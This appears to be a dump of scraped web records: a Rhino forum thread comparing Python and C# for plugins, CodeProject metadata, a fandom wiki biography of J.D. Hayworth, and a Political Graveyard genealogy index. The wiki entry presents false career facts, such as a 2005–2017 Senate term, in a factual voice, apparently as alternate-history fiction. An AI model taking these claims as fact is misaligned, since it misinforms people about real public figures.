"https://global.discourse-cdn.com/mcneel/uploads/default/original/4X/d/8/f/d8f978d700470910404e6229570ac7150340819c.png",
"https://global.discourse-cdn.com/mcneel/uploads/default/optimized/4X/4/f/e/4fe043fe7e6689c9ee0e290df7c3013b48189638_2_500x500.jpeg",
"https://emoji.discourse-cdn.com/twitter/tulip.png?v=12",
"https://emoji.discourse-cdn.com/twitter/slight_smile.png?v=12",
"https://sea1.discourse-cdn.com/mcneel/user_avatar/discourse.mcneel.com/farouk.serragedine/48/509443_2.png"
] |
[] |
[] |
[
"windows"
] | null |
[
"sciensman (Sciensman)",
"kev.r (Kevin)",
"farouk.serragedine (Farouk Serragedine)",
"dale (Dale Fugier)"
] |
2023-04-16T21:19:59+00:00
|
Because I am learning Python, I was thinking today, which programming language is used for building a plugin for Rhino; C, C#, or Python?
|
en
|
https://global.discourse-cdn.com/mcneel/uploads/default/optimized/3X/e/8/e8ac746b7d3ee947a397b6e4f08d03f650423c3c_2_32x32.ico
|
McNeel Forum
|
https://discourse.mcneel.com/t/which-programming-language-is-used-for-building-a-plugin-for-rhino/158385
|
Hope this bullet point comparison help you clarify at least some of your doubts :
Personally, I use Python for most modules and C# for CPU-consuming tasks.
Both Python and C# can be used for similar tasks as they share the common SDK (rhinocommon).
Python can also work using RhinoScriptSyntax, which is beginner-friendly.
If you’re new to programming, Python is suggested due to its less verbosity, fewer keywords, and human-friendly syntax.
C# is also easy to pick up, but may require some time to get accustomed to. One advantage is the ability to use NuGet packages.
Rhino7 Python may not allow the use of other libraries, unlike C#.
Python is crossplatform, C# is windows only
Avoid using C++ as a beginner script developer due to its verbosity and lack of human-friendliness.
My personal suggestion would be to start by experimenting with Rhino script syntax if you’re a beginner. Keep in mind It’s painfully slow, but you can do so many things already if you already rs, which is extremely easy to pick up, even for people without a programming background
Thank you so much, sir
There was no better answer than this for me; short but comprehensive.
Your guidance took me the right way, but I still hesitate about which one of the languages is more professional and useful to create a plugin (like what is in Food4Rhino).
I ask this question because I want to choose the best language for this purpose in the future. If I spend my time learning Python and then realize it has some shortages for creating a plugin, I think I have lost a lot of time.
As I said, C# and Python can both accomplish the same tasks, unless you need external nuget packages for complex ideas.
Learning Python is very useful in my opinion.
There you can see what you can do when you use C# and Python, but keep in mind It could all be accomplished using Python.
That was to say, Python is extremely useful and would most certantly not be a waste of time, I’d suggest learning rhinocommon if you are worried about limitations and skip rhinoscriptsyntax entirely.
I had no such intention. Python is great. It is an advanced programming language and is used in numerous fields. As long as I learned it up to this point, it is sweet and excellent! If we even look at Rhino, we will see Python is a part of the body of this gigantic software. So my purpose was not to consider it as a lower language.
I did mean; I am eager to create a plug-in for Rhino in the future (of course, it is now a dream), and I questioned which machine language is used for producing such plug-ins. I expressed, ‘if Python is not suitable for such plug-ins (that are operated by Rhino), it will be better, in the first stage, I spend my time learning the relative language that senior Dale pointed out, those are C# and C++’
After being enlightened by the masters, I decided to leave Python temporarily and go to C#. All night up to morning ( now I am napping LOL), I studied C# tutorials in “w3schools.com” that is an excellent instructive reference for all programming languages.
After that, I tried to choose a light IDE for C#. The new Visual Studio IDEs have massive volumes, and I couldn’t download one of them and have to use a prepared one on a CD later.
Unlike Python C# needs a compiler, though its syntaxes and methods are similar to Python.
This case seems problematic, because using Python with a simple IDE without compiling was so easy and comfortable.
Nevertheless, my desire to create a plug-in with C# in the future overcame the hardship of working with C# and Visual Studio IDE and compiler. Generally, I think Python has a better location in simplicity, modernity, and universality, while C, Java, and similar applications do their essential jobs. C and Java are the basis of so many applications, and Python is getting high like a young eagle to reach them.
I don’t know whether someday Python can reach the universality of C and Java or no, but it has become a popular programming language that does everything except some essential jobs that are particular to C and Java.
|
||||
8582
|
dbpedia
|
1
| 20
|
https://www.codeproject.com/Questions/5312953/Package-and-assembly
|
en
|
[Solved] Package and library?
|
[
"https://codeproject.freetls.fastly.net/images/t.gif",
"https://www.codeproject.com/script/Membership/Images/octicons_github-lg.png",
"https://www.codeproject.com/script/Membership/Images/facebook-lg.png",
"https://www.codeproject.com/script/Membership/Images/google-plus-lg.png",
"https://www.codeproject.com/script/Membership/Images/microsoft-lg.png",
"https://codeproject.freetls.fastly.net/App_Themes/CodeProject/Img/logo250x135.gif",
"https://pubads.g.doubleclick.net/gampad/jump?iu=/6839/lqm.codeproject.site/ros&sz=728x90&c=707782",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://codeproject.freetls.fastly.net/images/write13.png",
"https://www.codeproject.com/script/Ratings/Images/star-fill-md.png",
"https://www.codeproject.com/script/Ratings/Images/star-empty-md.png",
"https://www.codeproject.com/script/Ratings/Images/star-empty-md.png",
"https://www.codeproject.com/script/Ratings/Images/star-empty-md.png",
"https://www.codeproject.com/script/Ratings/Images/star-empty-md.png",
"https://www.codeproject.com/script/Ratings/Images/star-fill-md.png",
"https://www.codeproject.com/script/Ratings/Images/star-fill-md.png",
"https://www.codeproject.com/script/Ratings/Images/star-fill-md.png",
"https://www.codeproject.com/script/Ratings/Images/star-fill-md.png",
"https://www.codeproject.com/script/Ratings/Images/star-fill-md.png",
"https://www.codeproject.com/App_Themes/CodeProject/Img/print48.png",
"https://www.codeproject.com/App_Themes/CodeProject/Img/rss48.png",
"https://pubads.g.doubleclick.net/gampad/jump?iu=/6839/lqm.codeproject.site/ros&sz=300x250&c=707782",
"https://pubads.g.doubleclick.net/gampad/jump?iu=/6839/lqm.codeproject.site/ros&sz=160x600&c=707782",
"https://pubads.g.doubleclick.net/gampad/jump?iu=/6839/lqm.codeproject.site/ros&sz=728x90&c=707782"
] |
[] |
[] |
[
""
] | null |
[] |
2021-09-15T09:36:00
|
en
|
/favicon/apple-touch-icon.png
|
https://www.codeproject.com/Questions/5312953/Package-and-assembly
|
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)
|
||||||
3358
|
dbpedia
|
2
| 7
|
https://sohelpmegod.fandom.com/wiki/J.D._Hayworth
|
en
|
J.D. Hayworth
|
https://static.wikia.nocookie.net/sohelpmegod/images/e/e1/J.d._hayworth.jpg/revision/latest?cb=20240127123543
|
https://static.wikia.nocookie.net/sohelpmegod/images/e/e1/J.d._hayworth.jpg/revision/latest?cb=20240127123543
|
[
"https://static.wikia.nocookie.net/sohelpmegod/images/e/e1/J.d._hayworth.jpg/revision/latest/scale-to-width-down/275?cb=20240127123543",
"https://static.wikia.nocookie.net/6a181c72-e8bf-419b-b4db-18fd56a0eb60",
"https://static.wikia.nocookie.net/6c42ce6a-b205-41f5-82c6-5011721932e7",
"https://static.wikia.nocookie.net/464fc70a-5090-490b-b47e-0759e89c263f",
"https://static.wikia.nocookie.net/f7bb9d33-4f9a-4faa-88fe-2a0bd8138668"
] |
[] |
[] |
[
""
] | null |
[
"Contributors to So Help Me God! Wiki"
] |
2024-07-29T22:27:06+00:00
|
John David Hayworth Jr. (born July 12, 1958) is an American Republican politician and television host who served as United States Senator from Arizona from 2005 until 2017. Hayworth chaired the Senate Armed Services Committee from 2015 until 2017. He was United States Representative from 1995...
|
en
|
https://static.wikia.nocookie.net/sohelpmegod/images/4/4a/Site-favicon.ico/revision/latest?cb=20240816160726
|
So Help Me God! Wiki
|
https://sohelpmegod.fandom.com/wiki/J.D._Hayworth
|
J.D. Hayworth United States Senator from Arizona In office:
January 3, 2005 – January 3, 2017 Preceded by: John McCain Succeded by: Kyrsten Sinema Chair of the Senate Armed Services Committee In office:
January 3, 2015 - January 3, 2017 Preceded by: Jack Reed Succeeded by: Ben Sasse Member of the U.S. House of Representatives from Arizona In office:
January 3, 1995 – January 3, 2005 Preceded by: Karen English Succeeded by: David Schweikert Constituency: 5th district (1993-2003)
6th district (2003-2013) Biography Born: July 12, 1958
High Point, North Carolina, U.S. Political party: Republican Spouse: Mary Hayworth (1989–present) Children: 3 Alma mater:
North Carolina State University
Occupation: Politician, television host Religion: Signature:
John David Hayworth Jr. (born July 12, 1958) is an American Republican politician and television host who served as United States Senator from Arizona from 2005 until 2017. Hayworth chaired the Senate Armed Services Committee from 2015 until 2017. He was United States Representative from 1995 until 2005.
Hayworth won a 1994 House race against Karen English, serving for five terms until running for the Senate seat vacated by John McCain in 2004. Hayworth was a staunch conservative, as was known for being flashy and in the limelight. He passed on a 2012 presidential run. Hayworth became senior Senator in 2013 when Jon Kyl retired and was succeeded by Democrat Mark Kelly.
|
||
3358
|
dbpedia
|
1
| 58
|
https://politicalgraveyard.com/bio/hayworth-heacock.html
|
en
|
The Political Graveyard: Index to Politicians: Hayworth to Heacock
|
[
"https://politicalgraveyard.com/images/tpgmain6.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/thumb/487/84.54.jpg",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/hand.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/images/tpgsub.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://politicalgraveyard.com/bio/rd.gif",
"https://creativecommons.org/images/public/somerights.gif",
"https://badge.facebook.com/badge/40475596932.4982.1015512377.png",
"https://twitter-badges.s3.amazonaws.com/follow_us-a.png",
"https://politicalgraveyard.com/images/a150X70b.gif"
] |
[] |
[] |
[
"political biography history genealogy \ncemeteries politics candidates congress senators legislators governors \npoliticians biographies ancestors mayors birthplace geography elections"
] | null |
[
"Lawrence Kestenbaum"
] | null |
A database of political history and
cemeteries, with brief biographical entries for 320,919
U.S. political figures, living and dead, from the 1700s to the present.
| null |
HAZARD: See also Oliver Hazard Perry Belmont — Alexander Hamilton Bullock — Irene Hazard Gerlinger — Samuel Hazard Gillespie Jr. — Oliver Hazard Perry Jones — Herbert Hazard McCutcheon — Oliver Hazard Perry Throck Morton — Robert James Peaslee — John Hazard Reynolds — Elliot Lee Richardson — Oliver Hazard Perry Shelley — Hazard Stevens — Denison Worthington Hazard, Aaron — of Perth Amboy, Middlesex County, N.J. U.S. Collector of Customs, 1812-18. Burial location unknown. Hazard, Augustus George (1802-1868) — also known as Augustus G. Hazard — of Enfield, Hartford County, Conn. Born in South Kingstown, Washington County, R.I., April 28, 1802. Democrat. Founder, Hazard Gunpowder Company; delegate to Democratic National Convention from Connecticut, 1860. Died in New York, New York County, N.Y., May 7, 1868 (age 66 years, 9 days). Interment at Enfield Street Cemetery, Enfield, Conn.
Relatives: Son of Silence (Knowles) Hazard and Thomas Hazard; married, July 24, 1821, to Salome Goodwin Merrill; second cousin thrice removed of Wallace Bruce Crumb; second cousin four times removed of Wallace Raymond Crumb; third cousin once removed of Benjamin Hazard and Nathaniel Hazard; third cousin twice removed of Ezekiel Cornell and Ebenezer Hazard; fourth cousin of Rufus Wheeler Peckham; fourth cousin once removed of Erskine Hazard and Rufus Wheeler Peckham Jr.. Political families: Kellogg-Adams-Seymour-Chapin family of Connecticut and New York; Condit family of Orange, New Jersey; King-Hazard family of Connecticut and New York (subsets of the Four Thousand Related Politicians). The community of Hazardville, in Enfield, Connecticut, is named for him. See also Wikipedia article — Find-A-Grave memorial
Hazard, Benjamin (1770-1841) — of Newport, Newport County, R.I. Born in Middletown, Newport County, R.I., September 18, 1770. Lawyer; member of Rhode Island state house of representatives, 1809-40; Speaker of the Rhode Island State House of Representatives, 1816-18. Episcopalian. Died in Newport, Newport County, R.I., March 10, 1841 (age 70 years, 173 days). Interment at Island Cemetery, Newport, R.I.
Relatives: Son of Thomas Hazard and Mary (Easton) Hazard; married to Harriet Lyman; first cousin thrice removed of Walter Hazard; third cousin of Nathaniel Hazard; third cousin once removed of Ezekiel Cornell, Ebenezer Hazard, Augustus George Hazard and Rufus Wheeler Peckham; third cousin twice removed of Rufus Wheeler Peckham Jr.; fourth cousin of Erskine Hazard; fourth cousin once removed of Paul Fearing and Samuel Austin Gager. Political families: Durfee-Wanton family of Newport, Rhode Island; Cornell family of New York; King-Hazard family of Connecticut and New York; Kellogg-Adams-Seymour-Chapin family of Connecticut and New York; Hatfield-Cornell-Woolsey family of New York (subsets of the Four Thousand Related Politicians). See also Wikipedia article — Find-A-Grave memorial
Hazard, David II — of Sussex County, Del. Member of Delaware state house of representatives from Sussex County 10th District, 1899-1900. Burial location unknown. Hazard, E. W. — of Galesburg, Knox County, Ill. Republican. Delegate to Republican National Convention from Illinois, 1860. Burial location unknown. Hazard, Ebenezer (1745-1817) — of New York, New York County, N.Y. Born in Philadelphia, Philadelphia County, Pa., January 15, 1745. Publisher; postmaster at New York City, N.Y., 1775-76; U.S. Postmaster General, 1782-89; insurance business; historian. Died in Philadelphia, Philadelphia County, Pa., June 13, 1817 (age 72 years, 149 days). Original interment in unknown location; reinterment at Laurel Hill Cemetery, Philadelphia, Pa.
Relatives: Son of Samuel Hazard and Catherine (Clarkson) Hazard; married, October 18, 1783, to Abigail Arthur; father of Erskine Hazard; first cousin once removed of John Alsop; second cousin once removed of John Alsop King, James Gore King and Edward King; second cousin twice removed of Rufus King (1814-1876) and Rufus King (1817-1891); second cousin four times removed of Frederick B. Piatt; third cousin once removed of Benjamin Hazard and Nathaniel Hazard; third cousin twice removed of Augustus George Hazard, Samuel Austin Gager and Rufus Wheeler Peckham; third cousin thrice removed of Rufus Wheeler Peckham Jr.; fourth cousin once removed of Benjamin Hard, Elisha Hotchkiss Jr., Reuben Bostwick Heacock, Gideon Hard and Graham Hurd Chapin. Political families: Conger family of New York; King-Hazard family of Connecticut and New York; Wildman family of Danbury, Connecticut; Kellogg-Adams-Seymour-Chapin family of Connecticut and New York; Saltonstall-Davis-Frelinghuysen-Appleton family of Massachusetts (subsets of the Four Thousand Related Politicians). See also Wikipedia article — Find-A-Grave memorial
Hazard, Edna Hayes — also known as Edna Hazard — of Omaha, Douglas County, Neb. Republican. Candidate for Presidential Elector for Nebraska. Female. Still living as of 1972. Hazard, Enos I. — of La Grange, Walworth County, Wis. Whig. Member of Wisconsin state assembly from Walworth County, 1849. Burial location unknown. Hazard, Erskine (1789-1865) — of Mauch Chunk (now part of Jim Thorpe), Carbon County, Pa. Born in Pennsylvania, November 30, 1789. Innovative industrialist; he and business partner Josiah White, built iron foundries, canals, and railroads; they were pioneers in anthracite coal mining; bridge builder; postmaster at Mauch Chunk, Pa., 1819-26. Died in Philadelphia, Philadelphia County, Pa., February 25, 1865 (age 75 years, 87 days). Interment at Laurel Hill Cemetery, Philadelphia, Pa.
Relatives: Son of Ebenezer Hazard and Abigail (Arthur) Hazard; married to Mary Fullerton; first cousin twice removed of John Alsop; third cousin of John Alsop King, James Gore King and Edward King; third cousin once removed of Rufus King (1814-1876) and Rufus King (1817-1891); third cousin thrice removed of Frederick B. Piatt; fourth cousin of Benjamin Hazard and Nathaniel Hazard; fourth cousin once removed of Augustus George Hazard, Samuel Austin Gager and Rufus Wheeler Peckham. Political families: Conger family of New York; King-Hazard family of Connecticut and New York; Wildman family of Danbury, Connecticut; Kellogg-Adams-Seymour-Chapin family of Connecticut and New York; Saltonstall-Davis-Frelinghuysen-Appleton family of Massachusetts (subsets of the Four Thousand Related Politicians). See also Wikipedia article — Find-A-Grave memorial
Hazard, Frederick H. (1865-1958) — of Oneida County, N.Y. Born in 1865. Candidate for Justice of New York Supreme Court 5th District, 1920. Died in 1958 (age about 93 years). Interment at Forest Hill Cemetery, Utica, N.Y.
Relatives: Married to Elizabeth Jones and Agnes Seller. See also Find-A-Grave memorial
Hazard, Frederick Rowland (1858-1917) — also known as Frederick R. Hazard — of Syracuse, Onondaga County, N.Y. Born in Peace Dale, South Kingstown, Washington County, R.I., June 14, 1858. Republican. Delegate to Republican National Convention from New York, 1908; candidate for Presidential Elector for New York. Died in Syracuse, Onondaga County, N.Y., February 27, 1917 (age 58 years, 258 days). Interment at Oakwood Cemetery, Syracuse, N.Y.
Relatives: Son of Rowland Hazard and Margaret (Rood) Hazard; brother of Rowland Gibson Hazard (1855-1918); married, May 29, 1886, to Dora Gannett Sedgwick; father of Frederick Rowland Hazard Jr.; grandson of Rowland Gibson Hazard (1801-1888). Political family: Hazard family of South Kingstown, Rhode Island. See also Find-A-Grave memorial
Hazard, Frederick Rowland, Jr. (1891-1962) — also known as Frederick R. Hazard — of Saunderstown, Narragansett, Washington County, R.I. Born in Solvay, Onondaga County, N.Y., December 19, 1891. Republican. Served in the U.S. Army during World War I; delegate to Republican National Convention from Rhode Island, 1928; member of Rhode Island state house of representatives, 1929-31; major in the U.S. Army during World War II. Member, American Legion. Died in Saunderstown, Narragansett, Washington County, R.I., August 31, 1962 (age 70 years, 255 days). Cremated; ashes interred at New Fernwood Cemetery, South Kingstown, R.I.
Relatives: Son of Frederick Rowland Hazard and Dora Gannett (Sedgwick) Hazard; married to Rozelia Belden; nephew of Rowland Gibson Hazard (1855-1918); great-grandson of Rowland Gibson Hazard (1801-1888). Political family: Hazard family of South Kingstown, Rhode Island. See also Find-A-Grave memorial
Hazard, George — of South Kingstown, Washington County, R.I. Speaker of the Rhode Island House of Deputies, 1732-33, 1733. Burial location unknown. Hazard, Henry T. (1844-1921) — of Los Angeles, Los Angeles County, Calif. Born in Grosse Pointe, Wayne County, Mich., July 30, 1844. Republican. Lawyer; mayor of Los Angeles, Calif., 1889-92. Died in Los Angeles, Los Angeles County, Calif., August 7, 1921 (age 77 years, 8 days). Interment at Evergreen Cemetery, Los Angeles, Calif.
Relatives: Married to Carrie Geller. See also Wikipedia article — Find-A-Grave memorial
Hazard, Irene Strang See Irene Hazard Gerlinger Hazard, Isaac P., Sr. — of Cayuga County, N.Y. Prohibition candidate for New York state assembly from Cayuga County, 1909. Burial location unknown. Hazard, Jeffrey — of Exeter, Washington County, R.I. Lieutenant Governor of Rhode Island, 1833-35, 1836-37. Burial location unknown. Hazard, Jonathan J. (1744-c.1824) — of Rhode Island. Born in Newport, Newport County, R.I., 1744. Member of Rhode Island state house of representatives, 1776, 1778, 1790-1805; served in the Continental Army during the Revolutionary War; Delegate to Continental Congress from Rhode Island, 1788. Died in Verona, Oneida County, N.Y., about 1824 (age about 80 years). Burial location unknown.
See also congressional biography — Govtrack.us page
